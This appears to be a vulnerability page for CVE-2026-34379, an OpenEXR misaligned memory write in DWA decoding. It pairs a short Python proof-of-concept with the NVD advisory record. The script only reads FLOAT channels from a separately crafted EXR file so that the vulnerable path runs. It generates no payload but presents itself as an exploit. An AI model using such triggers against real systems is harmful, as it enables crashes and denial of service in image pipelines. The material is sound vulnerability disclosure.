CVE-2026-34379

# PoC for CVE-2026-34379 (OpenEXR Misaligned Memory Write) # This script demonstrates how to trigger the vulnerability by attempting to decode # a crafted EXR file containing DWA compressed FLOAT channels. # Note: Generating the specific malicious bitstream requires deep knowledge of the DWA format. # This PoC assumes you have a file 'exploit.exr' that triggers the path. import OpenEXR import Imath import sys def trigger_vulnerability(filepath): try: # Open the potentially malicious file exr_file = OpenEXR.InputFile(filepath) header = exr_file.header() print(f"[*] Processing file: {filepath}") print(f"[*] Header: {header}") # Attempt to read channels. If the file contains DWA compressed FLOAT data, # the vulnerable LossyDctDecoder_execute function will be called. # This triggers the misaligned write on architectures enforcing alignment. # Check for FLOAT channels which trigger the HALF->FLOAT conversion channels = header['channels'] for channel in channels: pt = channels[channel].type if pt == Imath.PixelType(Imath.PixelType.FLOAT): print(f"[*] Reading FLOAT channel: {channel}") data = exr_file.channel(channel, pt) print(f"[+] Read {len(data)} bytes. If on ARM/RISC-V, a crash may have occurred.") print("[!] Exploit execution finished. If no crash, target might be x86 or patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <malicious.exr>") else: trigger_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-34379", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:35.233", "lastModified": "2026-04-07T19:04:50.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. From 3.2.0 to before 3.2.7, 3.3.9, and 3.4.9, a misaligned memory write vulnerability exists in LossyDctDecoder_execute() in src/lib/OpenEXRCore/internal_dwa_decoder.h:749. When decoding a DWA or DWAB-compressed EXR file containing a FLOAT-type channel, the decoder performs an in-place HALF→FLOAT conversion by casting an unaligned uint8_t * row pointer to float * and writing through it. Because the row buffer may not be 4-byte aligned, this constitutes undefined behavior under the C standard and crashes immediately on architectures that enforce alignment (ARM, RISC-V, etc.). On x86 it is silently tolerated at runtime but remains exploitable via compiler optimizations that assume aligned access. This vulnerability is fixed in 3.2.7, 3.3.9, and 3.4.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-704"}, {"lang": "en", "value": "CWE-787"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.7", "matchCriteriaId": "4E7AA082-2647-4AAD-9902-1E3873882A3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.9", "matchCriteriaId": "E8321A2E-759A-4B1E-9AAF-0204791F4323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openexr:openexr:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.9", "matchCriteriaId": "94F2D271-636B-4E9E-A04B-40E635A59117"}]}]}], "references": [{"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.3.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-w88v-vqhq-5p24", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}